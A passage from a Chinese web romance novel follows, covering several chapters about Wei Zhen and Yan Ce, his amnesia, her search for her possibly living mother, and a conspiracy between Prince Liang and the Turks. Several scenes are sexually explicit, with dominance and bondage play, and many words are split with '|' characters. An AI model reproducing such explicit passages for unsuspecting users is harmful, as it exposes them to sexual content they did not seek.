是高不可攀的云。若乱|攀|扯,她会生气。 不论身处何地,燕策总能轻而易举|引|导一切,他不太习惯被|动。 这使得他哪怕落下风,也主|动问她,试图谋求她的允|准。 卫臻当然拒|绝了,“我不喜欢。” 可燕策很聪明,也极为熟悉她, 不用费心思就能察觉到,她的言不由衷。 卫臻只得扯|住他颈间的绳子。 不是为了制止。二人身量差距悬殊,她没办法靠|蛮|力拦他。 也不是为了惩罚。她知道,颈间这点疼对他算不得什么。 是为了提醒他:她没允|准,他就只能等。 效果很好,燕策没再|犯|规。 听话的狗可以被奖|励。 于是他被|允|许亲|她。 又一阵风,灯盏内的火苗飘|忽着弱了些,眼前一暗, 耳边是与她脉搏一致的声音,燕策猜侧是左,听见她吸|了口凉气,他抬手,挡|住大半发凉的夜风。 桌案上摆着个青釉八角瓶,里边横斜着大束四瓣的小花,紧|挨|着他|腰,窗外的晚风分花而来,花瓣扑|簌簌|挨|蹭,把馥|郁的香留给他。 卫臻后|腰被|碰|了下,心声不满。这样冷落它,他也会高兴吗。她哼|唧着埋怨他:“让你高兴了吗?” 她语调中并不|含怒色,尾音依旧软|甜|甜的,但一切都中|止了,这比打|他更容易让燕策意识到自己的错。 效果的确很好,妄|念让|步,卫臻适时奖|励,低头|亲|了亲|他的唇。 眼眸被遮住,明明挨着她,燕策却又觉得两人像是隔着浩渺夜色,这使得她施|与的一切都显得分外宝贵。 他躺|在榻|上,仰|起下颌,主动|含|住卫臻舌|尖,与她细细|缠|吻|在一处。 等到吻毕,他唇瓣|微|张,下意识喘|着往前追了一下。 没敢|做旁的。 燕策现下太听话了,很多个瞬间,卫臻也分不清,自己到底是在罚|他,还是。窗边一刀下弦月,倾|泻|遍地清辉。 每一次驯|顺与退让,都会被及时奖|励。再次听见与脉搏一致的声音,燕策好心提醒她:“翘翘,换一换。”到最后,燕策不确定自己是本|能地犯错,还是在期待主|动纠错后被她奖|励。 窗扇被风推开,银亮的月光斜斜铺撒在屋内,锦被像染|上层流|动的霜。 大型|犬的驯|顺往往很难长久,卫臻知道这样于他已是不易。 夜深人静,又来了阵风,燕策颈间的铃铛突|兀地响着,卫臻伸|手,覆|住铃铛|口,响|声便消了。 燕策呼吸骤停,额角|跳|了|跳。 卫臻低头去|亲|他的唇,指尖摩|挲着他面庞与耳畔,帮他平|缓情绪。 她的手仍覆着,扯|开蒙在他眼睛上的发带,柔|软的绢带被夜风拉|扯着飘,窗外竹叶摇|响,似自顾自下了好一阵子的雨,凭白落,无从遮。 燕策额发汗|湿,眼角浸|润|着浅|浅的|红,望向她的时候,眼眸有片刻涣|散。 第40章 卫臻勾|着那根曾覆|在他眼眸上的发带,把肩头堆叠的乌发松松挽起,手|捋|着头发一顺,却发现头发上全都是。 燕策缓了几瞬,坐起来抱她,用额头|蹭|蹭|她脸颊,“可以主|动亲你了吗?” “讨厌,”卫臻嗔他一眼,“怎么这么远。” 捋|过头发,她把掌心给他看。 “错了。”燕策揉|揉|她手,摁在自己身上,不停啄吻她脸颊和鼻尖。 二人就这么抱在一处呆了一会儿。 卫臻其实不太懂这个行为的意义,也有可能是因为她的情绪一直在被他照顾着,所以不会主动产|生什么情感上的需|求。 总之,两个人之间,燕策是那个主|动|要求在结束后安安静静抱一会儿的人。 被他抱着摇摇晃,偶尔一两阵风,若不是察觉到他故态复萌,卫臻都要睡着了,在燕策得寸进尺前,她先一步说去沐|浴。 许是她方才的惩|戒起了效,他今日没再继续胡搅蛮缠,扯过外袍来披在她身上,抱着人往净房走。 进去后发现吠星正睡在角落里,鼻子紧贴着墙角。 “它会不会把自己憋到啊,你把它鼻子挪开点——洗个手再挪” 卫臻的话音刚落,下一瞬吠星就自己醒了,抬起头来看着二人,眼睛都没完全睁开,脸上的毛睡得扁扁的。 吠星趴|在地上,两只前爪往前拉伸,打了几个哈欠。 又轮流抬|起后|腿,最后甩了甩身上的毛,就摇摇晃晃站起来要过来找卫臻,被燕策一手捞起送到门外去了。 卫臻坐在小杌子上看他往桶|内兑水,忍不住抱怨:“左边不|舒|坦。”好像全都在外面了。 他喉结上下|滑|动|几|番,“提醒你换了,不能怪我。” “不怪你怪谁,狗咬的。”卫臻伸腿去踢他,没踢着。 燕策笑着走近了主动给她踢,拖长调子用鼻音应了声,“骂我是狗。” 见卫臻懒得再搭理他,就把她披着的外袍褪|去,低头|咬|了一下她肩头的小痣,而后把人抱进桶内。 燕策沐|浴远比卫臻要|快,他把自己收拾妥帖后卫臻还在擦头发。 趁着这个空隙,他出去把兰怀叫过来问话。 兰怀却也只知道卫臻昨日见过哪些人,并不晓得她是因谁而哭,更不知其中缘由。 卫臻隐隐约约听见二人在说话,走到外间就只看见兰怀离开的背影:“你们在说什么?” 她顶着一块白色厚棉帕,发尾还在滴水,偶尔有水珠顺着脖颈滑|进衣领。 “无事,见你擦头发的花露油用没了,让人去取了一瓶。” 卫臻看着躺在燕策掌心的小瓷瓶,却并不十分相信他随口讲的话。 有些怕他现在问东问西。 关于同父亲争执的根本缘由,卫臻心底隐隐有预感,戳|破了会是她很难面对的。 她自己都还没想好该用何种心情去迎接。 自然也不愿意在这个时候同他讲。 好在一直到躺|下,燕策都没有问她下午的事,只是用手轻轻|揉|着她后|腰,偶尔说一两句不相干的闲话。 白日里耗神,晚上又折|腾得太累,卫臻很快在力|度适宜的揉|捏|中睡着。 翌日,金乌尚未从天尽头跃起,天边才泛起一抹青白鱼肚色。 卫臻从睡梦中醒来,刚睁开眼,就察觉到枕边人凑过来,用高挺的鼻梁抵|在她颈窝处|蹭|了蹭,又轻轻亲她的唇瓣,卫臻迷迷糊糊回|应着, “你怎么跟吠星一样呀,我醒了没发出动静都能被你发现。” 燕策悬|在|上方轻轻笑了声,他不是狗,当然没法第一时间发现她醒了,只是一直在亲|她,直到她醒过来。 她昨夜休息得很好,面庞光|洁白|腻,眼下没有乌青,只有两道饱|满的小卧蚕,燕策缓|送|一*指,抬手帮她把脸颊旁的碎发拢|到耳后,“是不是已经不生我气了。” 卫臻尚未完全醒神,思绪要被他搅|乱了,一切回|应都是本|能,“算,算是吧”其实本来就不是生气,昨夜只是想教训一下他。 生气的时候才不会愿意那样挨着他。 “昨日岳父因何事训斥你?” 燕策其实也不确定,昨天她哭,到底是不是因为与卫含章的谈话。 这是他的惯|用伎|俩,用在卫臻身|上百|试百|灵:有了猜想不问对与否,直接顺着讲,而后通过她的反应,验证猜想。 卫臻的注意力被凭|添的第二指掠|夺,下意识回答,“他说不能——” 很快察觉他在|套|话,她强撑着改口: “什么训斥不知道你在讲什么。” 燕策心下了然,又猜对了。 继续问她缘由:“可以告诉我为什么哭那么伤心吗?” “因为你的手”她又开始耍赖了,抱着他脖颈嗯嗯|唧|唧的。 燕策好笑道:“问的是昨日,翘翘。” 卫臻直摇|头,咬|着他的手说什么都不肯再同他多讲一句话,直至最后才松|开|紧|咬的唇瓣,小声喊着他的名字。 她以为,昨晚至少可以对燕策有点约束作用,哪怕只有十天半个月。可没想到,仅一晚过去他就又。 好像昨夜的惩|戒,于他是一种,特|殊意义上的奖励。 “在想什么?”燕策握着净手的香块,搓|出丰|盈的泡|沫后,裹|住她手,二人一同在铜盆前净手。 她仰头嗔他:“谁让你这样了。” “这是投桃报李,”他给她把手洗得很仔细,虽然压根没必要,“报答翘翘昨日的辛劳。” “真讨厌。”卫臻用头往后|撞|他。 待到洗漱完路过净房,她忍不住再次纠正他:“这才是小|解的地方!” “什么?”燕策一时间没反应过来。 “总之,你以后不能再让我”她实在无法把这话说尽。 燕策好像明白了,对她解释道:“那不是——”嘴被她捂|住了。 瞥见她通|红的耳尖,燕策没再继续讲,笑着放低了身量,让她捂得更容易些。 用早膳的时候燕敏过来了,霸|占|了卫臻右手边的位置,燕策只得坐到她左手边。 他还是更喜欢在她右边用膳,因为坐在那个位置卫臻经常会给他|夹吃的。 换到左边后,她不顺手,一顿饭下来什么都没给他。 “怎么突然来这用早膳。”燕策幽幽问燕敏。 燕敏正弯着腰给吠星扔蛋黄吃,声音从桌底下传来:“四婶婶过去了,好像是她娘家侄儿春闱时出了点岔子,大抵是又要央求母亲办事。” 她拍拍手,坐直了,拾起筷子继续用膳,“我没捞着听几句,猜的。” 卫臻没说话,默默听了一耳朵,她知道御史台官员会参与春闱监考,父亲也在其中。 上午绣庄的李娘子就把卫臻想见的人带来了。 是一名约莫三十出头的妇人,额发梳得整齐利落,一身得体的靛青交领衫子,洗得有些旧,但很干净。 此人名唤苏兆玉,昨日卫臻留下的绣样,正是出自她之手。 卫臻问了她几句话,见她都答得妥帖,就开始跟着她学刺绣。 苏兆玉话不多,落针时嘴唇抿着,透出几分利落劲儿,但是该讲的细节一点没落,全都告诉卫臻了。 卫臻本身就会点绣活,眼下上手很快,很快就有模有样了。 歇手的间隙,她瞧见苏兆玉带来的绣筐里搁着个指|套,做得好看,不似寻常指套那般笨拙。 “这个怎么做的?” 苏兆玉回话道:“是我姐姐做的,夫人若喜欢,我今晚就回去让姐姐做几个更好看的,明个给您送来。” 在这教这个好说话、还生得漂亮讨喜的年轻夫人刺绣, 于苏兆玉而言,是一份极为划算的差事。 就这么半天的功夫,顶|她|做好几日的绣活,若是明日还能来一回,便能多赚些银钱。 不是什么大事,卫臻应了,又额外让人包了份赏钱给她。 苏兆玉领了钱,欢欢喜喜回去了,当天下午,趁着日头还亮,同姐姐乔娘一同在窗前做指套。 卫臻做了一半的绣活混在苏兆玉的绣样里,也无意间被带回来了,乔娘看见后,拿起来摩挲着,不错眼地看。 浅黄四瓣小花的纹样,花瓣舒展,绣得圆鼓鼓,针脚并不十分完美,但是她就是觉得好,怎么看都好。 苏兆玉以为她是眼睛累了要歇一会儿,便继续抽针引线没说话。 “这是,谁绣的?”乔娘开口,声音极小,有些低哑。 平日里她要装作有哑症,只偶尔和苏兆玉独处时,才会说一两句话。 苏兆玉讲是今日跟着她学刺绣的夫人。 乔娘又问:“什么样的夫人?” 苏兆玉忍不住抬头看她一眼,有些意外她今日连着开口说话:“年岁小,瞧着不过十七八,模样生得俊,跟你一样。” 乔娘抬手掩面笑着,轻轻拍她一下,意思是她哪里俊了。 苏兆玉歪着头看了看乔娘,她正拿着卫臻那份绣活,往上面添针脚,眉眼间神色很是温柔恬淡。 同乔娘一起生活了十来年,苏兆玉仍记得十年前头一回见她时的情形。 彼时还是在益州,苏兆玉的爹要把她卖给乡里的瘸子。 苏兆玉逃了,她从小就|干|力气活,有的是劲儿,去哪里都能活。 逃到城里,晚上正发愁去哪里落脚,苏兆玉在街头遇见了虚弱的乔娘。 她像是爬墙跑出来的,可能还摔了,头上带着伤,整个人极狼狈。 二人方对视几眼,乔娘就晕了过去。 苏兆玉救了她一命,后来俩人就成了姐妹,一同做零工讨生活。 个中艰辛,难以言说,她们还曾经一路搭乘北上的马车去突厥。 乔娘并不姓苏,乔大抵也不是她的本名。 这只是防止外人问起,才取的名字。 当初乔娘晕过去后,苏兆玉守着她,听见她半梦半醒间不停喊着“乔”。 醒来后,乔娘发觉自己丢失了记忆,什么都不记得了。大夫讲或许是因为她头上的伤,也可能是她过去曾受过重大刺激,潜意识为了保护自己,选择遗忘了。 乔娘不知自己姓甚名谁,家在何处。 只记得,要逃。 还有,“乔”这个音。 不确定是哪个字。 苏兆玉识字不算多,自然更不知道,但她老家有姓乔的,于是干脆就帮她选了“乔”字。 这个音对于曾经的乔娘,大抵是极为重要的,便成了她这十来年的新名字。 【完结】 第51章 回府后,燕策径直去了前院书房。 他要快些掌握现下的局势,不能耽误正事。 虽失了记忆,但兵法韬略刻在骨子里,在亲信的协助之下,燕策很快便理出了头绪。 公事他有法子理顺,可是私事没人能同他讲。 想到此处,燕策有些不知所措,进屋后抬手揉了揉眼眶。 很不适应现下这个状态,他好像只是睡了一觉,醒来后,周遭的一切就都变了。 衣橱内添了许多件月白色的衣裳,他不喜欢。 像是把兄长的衣裳挂进来了—— 兄长也过世了,就发生在他丢失掉的这段记忆里。 燕策不是优柔的性子,但此刻胸腔内却像压了块石头。 与兄长的感情称不上多亲|密深厚, 但醒来骤然发现亲人离世,且其他人都反应平平——因为在他们的视角里,这已经是许久前的事情了。 这使得燕策有种说不上来的感觉, 恍惚间觉着自己被遗在了某个路口。 定了定神,他继续打量衣橱。 里边是二人应季的衣裳,很多件颜色鲜亮,是她的。 最边上挂着几条用料极讲究的罗裙,轻纱质地,怕是稍用些|力就会揉|出皱,被格外仔细地单独挂着,占了大半个衣橱。 两人其余的衣物则混在一处。 燕策不自觉地蹙眉,因为有些乱。 为什么不一人一个衣橱分开收纳。 “嫌乱吗?” 身后突然响起道清凌凌的声音,他回过身去看卫臻。 她把外衫褪|了,里边是件水绿色的主腰,十分*显白的颜色,两条带子在光|洁肩头打着漂亮的结。 主腰有些短,露|出细|细一条竖着的肚|脐,像枚小柳|叶。 底下是条素色的灯笼裤,料子顺|滑,垂坠|感很|强,走动间像水纹荡开。 她骨架小,腰很细,但肚子上软|肉|多,裤腰上的系|绳微微|陷|入|小|腹。 似是被系|绳勒|得不太|舒|坦,她随意挠了一下,白|腻的小|腹很快留下几道红|色的印|子。 头上发髻也被她拆了,发顶软|茸|茸的,几缕碎发在她脸颊旁翘着。 燕策没说话,卫臻就当作他在默认,对着衣橱没好气地继续道:“乱也是狗翻的。” 两人刚成婚时衣橱是很整齐的,二人的衣裳泾渭分明。 后来他自己早上更衣,以及每回事|后卫臻让燕策帮忙拿衣裳,他都会故意挑挑拣拣找出来好几件,再挂回去, 这般刻意地把两个人的界限打乱。 卫臻话音刚落,燕策垂眸看了一眼跟在她身后那只幼犬—— 据说是他养的, 但自二人回来后,这狗明明一直在跟着她打转。 这么小的狗,能够到这些挂起来的衣裳吗。 燕策不太信。 卫臻没同他再讨论这个话题,取出要穿的衣裳就进了浴房。 燕策继续在屋内四处打量,试图记起些什么。 床|榻换成了一张更大更精美的拔步床。 上边的被褥是很浅的粉色,绣着花,枕头也是。 燕策没忍住多看了几眼, 他用这种颜色吗。 靠里边的枕头旁搁着个话本子,还有条鹅黄|色的发带。 话本倒扣着,封皮花花绿绿,名字起得很是|大|胆。 燕策拿起来扫视几行, 原来书名已经在|含|蓄|了。 很快他把书按照原样倒扣回去。 虽记不起了,但他本能地觉得不能弄乱,她会生气。 里间一角摆了张很大的妆台,燕策记得这里原先是个博古架。 生活里突然多了许多属于女子的物件儿,他尚不能完全适应。 燕策靠在床|榻一旁思索着,膝盖碰到矮柜门,里面“咣当”一声,他拉开来看。 是几个小药瓶。 他不知道是治什么的药,但是就藏在床|榻边,想来不是她的就是他的。 凭借方才在屋内看的那一圈,燕策能感觉到,她的物件儿都大喇喇地摆在各处,不避人,至少不避他。 那这药,大抵是他的。 燕策摩挲了良久,打开嗅了嗅,很熟悉的味道,像是他以前经常吃的,但是记不起来。 卫臻手腕上有擦伤,一个人沐浴不太方便,这会子又和燕策有种说不清的生疏,她便让兰怀进来帮她。 但即便很小心了,手腕上擦伤处还是不可避免地沾到水。 挺疼的。 兰怀眼见包扎好的一圈纱布沾了水,忙更快地帮卫臻把头发冲洗干净,出去后给她手腕重新上了药。 刺痛让卫臻想起燕策后脑的伤,他伤得比自己重,只会更疼吧 况且,他是为了救她才受的伤 方才不该呛他。 等到包扎完,兰怀从屋内退了出去,燕策拿着方才发现的药瓶问她:“这个是什么药?” “我怎么知道,这是你的东西,”卫臻看了一眼,“从哪里找出来的啊。” “紧挨着床|榻边的矮柜。” 这个位|处卫臻好像知道是做什么的了, 她嗓音含糊:“是,是强|身的药。” “嗯?”燕策不解。 “就是你不太|行,若不吃药,只能半刻钟。” 她这会子说话不像方才在衣橱那里时带着刺,是很舒缓真诚的语调,不像是在故意拿话刻薄他。 但燕策本能地不信:“不可能。” “我只是失忆了不是变成傻子。” “你先问我的,我说了你又不信,那你出去问别人。” “这种事你让我问谁。” 卫臻凭白张了张嘴没说出反驳他的话, 好像,确实只能问她, 想了想又道: “失忆了就知道嘴硬,我曾因为药的事问过你,你当时亲口承认了的。” 见她言辞灼灼,燕策没再反驳, 他觉得问题在药上,明天得找人问问这药到底是做什么的。 见她要走,他伸手把她拦住,转而问起旁的:“我以前怎么喊你。” 她没好气道:“卫臻。” 这个名字于燕策来说很熟悉,与他自己的名字一样熟悉,一听见就像某些记忆被唤|醒。 但不对,不是这个。 于是他试探着喊: “阿臻?” 好像也不对。 卫臻该继续生气的,可心头蓦地涌上一阵酸涩,像是被人狠狠攥|了一|把。 他怎么真的忘光了。 她垂下头拿玉梳无意义地梳拢着发梢,没再讲话。 夜深人静,烛影摇曳。 卫臻睡前也没心思看话本子,脸埋在毯子里,纤细的身子蜷缩,背对着燕策想事情。 思绪如乱麻。 她被绑一事,父亲已然脱不了干系,也没有与他心平气和谈话的必要了,从段青颐的反应就能猜出来—— 段青颐是梁王妃与父亲的孩子。 想到此处,卫臻攥紧了毯子,段青颐只比她小不到一岁,那父亲应当是回京述职时与梁王妃 在他做出那些对不起阿娘的事情时,阿娘还怀着身|孕。 卫臻替阿娘不甘。 阿娘 一想到此处,卫臻又忍不住再次回忆白天遇见的乔娘。 明知道人死不能复生,可她心底就是隐隐有个梦不愿意戳破。 万一,因缘际会,老天把阿娘还回来了呢。 哪怕是梦,她也要探寻个究竟。 明日得去找苏兆玉和乔娘再说说话。 卫臻正思量间,突然又想到被绑时听见的那些细碎的话,兴许有些用处。 翻了个身,正对上燕策的视线。 “你别看我。”她平躺着别过脸去,声音闷闷的。 “头疼,只能侧卧。” “那你闭上眼。” 因着受伤,他面庞仍有些苍白,顺从地合|上眼,细密的眼睫在脸上投下一小片阴影。 卫臻这才低声道:“我是被段青颐骗去的,可那些看守我的人说的都是突厥语,” 她顿了顿,问出自己的猜测,“梁王是不是与突厥的人勾结在一处了。” 燕策对她说的话并不意外,应了声。 “他们还提到了鹰嘴崖—— 卫臻蹙眉思索着,“我也不确定是不是这地界,你曾带我去过那附近,我记得崖下有暗河。今日下雨,那些人提到冒水,什么货淹了,他们说话断断续续的,我听不太真切。” 燕策倏地睁开双眼。 接着就要坐起身,动|作太|急,脑后又是一阵眩晕。 卫臻忙不迭撑|起身|子扶着他:“你又折腾什么,”眼瞅着他下榻后要穿外袍,“现下这样你也没法骑马出去,至少今晚不行吧。” 又折腾什么。 燕策忍不住在心底细细回忆着这句话,好像她以前经常这样说他。 很快他把注意力转移回来,对她道:“不出府,我去书房写封书函让人送出去,你安心,先睡。” 听着燕策的脚步声渐渐消失在院里,卫臻才躺回榻上。 窗外月色如水,透过雕花窗棂在地上投下斑驳的影。 卫臻忽而又想起那把救了自己一命的匕首,可惜如今不知落在何处。 她第一次杀人,太过慌乱,当时忘了该把匕首收回来,连刀鞘也一并遗失了。 这般翻来覆去想了好多事,心头像一团理不清的丝线。也不知躺了多久,半梦半醒间听见燕策回来了,卫臻这才沉沉睡去。 晨光熹微,薄雾笼罩着庭院。 燕策一睁眼,还是没能记起来。 尚未醒神,他有些分不清哪边才是梦。 不知道什么时候卫臻睡到他怀里了—— 燕策也不确定她是在无意识撒娇还是在踢他。 主腰宽松,全都卷到上边去了。 他有些不敢看。 那些大大小小的印|子,新旧交叠,燕策从颜色推断,最新的大抵是自己前|夜给她留下的。 除了衣裳|遮|不住的肩颈,其余到处都是。 他有那么夸张吗。 卫臻像是要醒了,脸颊不|住地往他颈窝处|拱,一条腿也抬上来|压|在他|身|上。 燕策虽失了记忆,但许多事几乎是本|能, 他垂眸往她光|洁的肩头看,一眼就寻到了那颗小痣。她第二次在他怀里哼|唧时,燕策没忍住低头亲|了亲|她肩头的痣。 卫臻是被亲|醒的,睁眼时整个人委|顿在他怀中,呼吸间全是熟悉的清冽香,唇|瓣被他|咬|得有些|麻。 意|识尚未完全清|醒,一切回|应都是日复一日中建立起的本|能,卷起的主腰硌|得她不舒|坦,卫臻嗯嗯|唧|唧着往他身|上|靠,小|裤堆|在膝|弯,窗前的花枝沾着晨雾,在风中扑簌簌摇|曳,送来阵淡淡的甜香。 等到她喘不动气了,二人的唇|瓣才分|开。 燕策低头亲|了亲|她薄薄的眼皮:“我们以前感情如何。” 卫臻心里的泡影一下子被|戳|破了,想起他还在失忆,她心里皱巴巴的,忍不住瓮声说着气话: “没感情,不怎么熟。” 明明她才是与他最为亲|密的,可他偏偏就把她给忘了,烦人,卫臻挣|扎着要起|身|下榻。 燕策摁着她后|腰把人拦住,“你和关系不熟的人会这样说话吗。” “反正你都把我忘了,又要做什——”尾音没来得及说完,她抬手在他喉|结旁挠了一道。 晨雾似轻纱般笼着园中花木,轻风拂过,檐角铜铃叮咚响,惊起几只尚在栖息的鸟雀,鸣啾啾飞出来转了一圈,又很快回到窝里边。 燕策答道:“去里边,回忆一下。” 里间处处可见他这两年生活过的痕迹,但这不够。 许多事,要置|身于此,才能切|实体会。 上药的软布包得太|紧,脑后的伤亦有些|疼,他额角|跳|了|跳,仍在催促:“告诉我,以前怎么喊你。” 卫臻不住地摇头,“你在盘问我。” “怎么会是盘问,在求|你。” 金乌渐升,沸沸扬扬掺明了万物,直到大雾尽消,她才把名字给了他: “是翘翘。” “翘翘。” 这回对了。 他眉眼一|舒,下颌抵|在她颈|窝处闷|喘,重复着她的名字。 第52章 段青颐几乎是一|夜未眠。 提厉死|了。 未曾料到事态会发展成如今这般,是她撺掇他去害卫臻的。 段青颐虽不可惜提厉这个废物的性命,可他到底是突厥王子。 想到父王近来与其其格来往密切,这个时候她的弟弟却因为自己而死 段青颐不敢继续思虑后果,指甲深|深掐进掌心。 不行,得把自己摘出去。 天一亮,让侍女打听过梁王昨夜未曾回府,段青颐便径直往梁王妃的院子走去。 只有再借母亲之手,才能让那个姓卫的毫无防备,进而找机会不费力地除掉他。 段青颐过来时,梁王妃尚在梳头,待屏退左右,她被段青颐这个念头吓了一跳,手中梳篦掉在妆台上, “青儿,不可,他终究是你的” “母亲又犯糊涂了,这个时候岂能讲私|情!况且,他也未必多爱重您,若真对您用情至|深,又怎会另娶她人,生下卫臻?” 段青颐突然倾身上前,盯着梁王妃躲闪的双眸: “这个男人,薄情寡义,虚伪又让人恶心。” 梁王妃浑身一颤,嘴唇张|合,终是什么都没说出口。 “母亲,”段青颐趁|势握|住她冰凉的手,声音放得极轻, “只有女儿,才永远跟您是一条心。趁着事态还未发散,此时下手尚来得及,只要除掉姓卫的,提厉的死就与我们母女无关。想来卫臻也不敢把这事捅破,若陈年旧事尽数抖搂出来,她姓卫的一家子都会被父王迁怒。” ** 天色微明,园中薄雾如纱,裹|着几株半开的月季,叶片缝|隙间挂着雾气凝成的露,滴|滴|答答往|下|淌。 后腿|弯处软|肉被裤腰勒|出印|儿,卫臻哼|唧着抱怨,烟粉的软料子得以被彻|底褪|下。 燕策原样儿把人捞|起来,拨|开帐子抱着她往外走,卫臻趴|在他肩上,瓮声问道:“什么时辰了。” “还不到辰时。” “得快些收拾。”她今个还得出门,不能由着他耽误功夫。 浴|房内的小杌子不知道被挪去哪儿了,往常她都是坐着等他兑完水。 若是留在她|那了,卫臻会先去屏风后面收拾妥帖。 有时候不用多解释,骂他一句他就知道给她拿更多棉帕。 这份默契随着他记忆的丢失,被打|破。 二人踩在地面上,怕她摔了,燕策一直紧|紧|握|着她上臂。 尚被钳|制着,导致卫臻的脚有些够|不着地。 窗外月季在雾里馥|郁着,卫臻吸|了吸鼻子,满是花香。待他|退|让,她才踩|到实|处。纤薄的肩微|耸,卫臻伸长手臂拿起竹瓢,舀了清水慢慢|淋,哗啦啦淌|到地上,携着泪一般的温|热。 细|窄的楠竹舀子,蓄|满温|热的水,淌|了好|久。她前额抵|在他肩上,细密眼睫似一排小刷子,扑簌|簌|颤|着。 地上铺着防滑的苇编软席,细小的瀑布缓|缓划|过几个弯,顺|着纤细的脚踝流|淌到地面,蜿蜒汇集在浴房一角的排水口,打|着旋|儿消失。 卫臻只觉踩|在层薄薄的泥|沼上,垂眸看了眼,热水举起的雾涌|上来,托|举着白茫茫。 浓重水雾凝在苇条编的席子上,被晨光一照,丝|丝|缕|缕的银亮。 她够|不到一旁装着热水的桶,待流|尽|了,燕策把她手中的竹瓢接过来,又舀了热水帮她淋着。 他手|劲儿|大,有些收|不住|力,竹瓢中的水流不怎么缓慢地倾|泻,卫臻掐了他一下,瓮声抱怨:“以前不是这样收拾的。” “那是怎样。” “结|束后都是我坐在那边,”她伸手指了指一旁的屏风,“等你往桶里兑热水。” 他应下,话语间姿态很是驯顺,却依旧这样抱着她,因为, “没说结|束。” 又过了一个多时辰才收拾妥|帖。燕策虽失了记忆,但性子未变。 因此很多下意识的习惯都还和之前一样,会自然地做一些卫臻无比熟悉的动|作: 爱在后|面抱着她,半边身量压|在她颈窝处,一直到她站不|稳冲他抱怨。 不喜欢坐着,喜欢站着。 往手臂上戴护腕时,先绑左边的。 让她踩在他脚背上。 她一蹙眉他就知道换左手。 最喜欢那条黑色带兽纹的革带。 喜欢揉|她的小|腹 卫臻望向他更衣的身影,很多次恍惚,忍不住去想他是不是记起来了。 于是在燕策走过来时,她问道:“有用吗?” “嗯?” “方才那样,你记起什么了吗。” 早上时间仓促,她不确定有没有用。 燕策喉结轻|滚,其实没有。 只记得抱|她的时候|软|很|热。他刚要开口,门边传来动静,两人一齐望过去,是吠星在拱|门。 吠星是只毛很|长很蓬松的小狗,喜欢用脸开门——也可能是鼻子。 总之在门被推开之前,是它脸颊旁蓬蓬的毛,率先被门挤|扁。 挤|开门后,吠星就“哒哒哒”跑入里间,过来蹲在卫臻跟前不停摇尾巴。 从卫臻的角度看,它的两只耳朵被尽数往后收起来了,这般杵在地上,脑袋像个小毛球,她忍不住俯身去摸|它。 怎么可能不摸,没人能拒绝这种又蓬又圆的狗。 燕策:“” 有尾巴的就是方便—— 他在想什么。 他要跟谁比,狗吗? 怎么可能。 燕策有些不太懂自己这莫名其妙出现的情绪。 他把手上的抹额递给她。 回答她方才的问题,“有。” 看着卫臻手松开了狗,站起身要给他戴抹额,燕策下意识放低了身量,面不红心不跳地继续扯谎: “有用,感觉要记起些什么,但差一点,等下值回来继续试试。” 不太够,而且最后她太|紧|张了,一个劲|儿催|他,十分仓|促。 卫臻指尖梳拢|起他的发丝,把抹额穿梭在其中,本能地想拒绝。 早上明明已经四—— 可转念一想到,他是因为救他才失忆,且就凭二人的关系,她也得主动帮他寻回记忆。 主动 二人离得很|近,燕策第一时间发现她面颊变得红扑扑的,从耳垂,到细|腻的颈,都染|着层薄|粉。 刚要逗她,倏然间门外有侍女传话,讲大姑娘燕姝来了。 闻言,卫臻着急忙慌给他梳头,动作太着急,无意间扯到他的头发。 燕策倒|抽一口冷气。 卫臻以为弄|疼他的伤口了,指腹轻轻覆|在他头上揉|着。 像方才揉它的头一样。 “头疼|吗?” “没有。” 只是头发被|扯|疼,莫名想亲她。 燕策不知道为什么会有这种无端的联想。 由于后脑处还裹|着纱布,燕策未束往日常扎的高马尾,眼下部分头发垂在身后,一条黑色抹额梳拢碎发,恰到好处地遮掩住包扎的纱布,也衬得他面部线条更为英挺利落。 燕姝惦记着燕策的伤,府中众人尚不知情,她便借着找卫臻说话的由头,过来探望。 燕策一看见小元,对自己失忆的实|感又重|了一层。 这孩子变这么|大|了,还会说话。 明明记忆里还是刚满周岁很小一个婴孩,日常只能被包在襁褓中。 早膳用到一半,前院管事匆匆来报,燕策被叫走了。 昨|夜派出去的暗卫在鹰嘴崖下发现了端倪。 崖下有个极为隐|蔽的山|洞,洞|前车辙纵横。门口有重兵把守,是梁王和突厥的人。斥候伏在林中观察多时,不敢打草惊蛇,探查完便回来报信了。 燕策立即带着亲信出门找太子商议。 待燕姝带着小元离开,卫臻去了昨日那座别院。 昨日事发紧急,乔娘与苏兆玉姊妹俩为了救她已然得罪了提厉,如此也不能再回原处了。 卫臻与燕姝商议过,暂时先让乔娘她们在燕姝的别院里歇息一晚。 两人于自己有救命之恩,卫臻从心底感激爱重她们,说话的语气也缓了再缓,打算慢慢套话,问清关于乔娘的一切。 但卫臻到底年岁小,处世尚浅。 而苏兆玉却是为了生存摸爬滚打多年,什么话听不懂,她当下就察觉到卫臻在打听二人的过往,立即生了戒备之心。 “苏娘子,” 卫臻斟酌着继续开口,声音比茶盏内飘出的雾气更软, “我们也是打过几回交道的,你年长我,当是能看清我并非奸邪之辈。” 苏兆玉点点头,并未反驳。 卫臻继续道: “你们救了我的命,于情于理我都不可能对你们生歹意。今日唐突,只是因为乔娘长得颇像我的一位长辈,便不自觉生出亲|近之意。” 她声音发涩,抬头看了眼,乔娘坐在苏兆玉旁边,也一直在看她。 其实到现在,卫臻心底也清楚乔娘不可能是阿娘了,否则,她不会对自己没反|应。 老天像是开了个玩笑,莫名生出这么多与阿娘面容年岁都相仿的人。 卫臻眼眶一热,想掉眼泪。 燕策还在这个时候失忆了,她的生活简直一团乱麻。 乔娘看她哭了,本能地着急,不住地看看卫臻又看看苏兆玉。 苏兆玉把她手摁住了,摇了摇头。并非心狠,若不对所有人保持警惕,她们走不动今天的。 卫臻自个儿拿绢帕擦净眼泪,轻轻|吸|了吸鼻子。 等等,失忆。 虽然失忆是极罕见的病症。 可燕策能失忆,那万一乔娘也失忆了呢。 抬手把被眼泪打|湿|的鬓发抿到耳后,卫臻瓮声问苏兆玉: “你们感情真好,是亲姊妹吗?” 苏兆玉笃定道:“是啊。” 卫臻抬起头看着她,“不对,” “那日|你说过,你爹要卖|你,你自己逃出来的,如此重要的大事,你从头到尾都未曾提到乔娘。” “你们不是。” 第53章 眼瞅着苏兆玉像是要生气,卫臻忙不迭主动握|住她的手, “乔娘后脖颈处,领口下方是不是有块胎记,约莫半个手掌那么长,两三指宽。” 卫臻记得小时候,经常趴在阿娘背上,拿手去捂住这块胎记。现下手大了许多,胎记差不多有她半掌长。 见对面两人并未反驳,卫臻继续道: 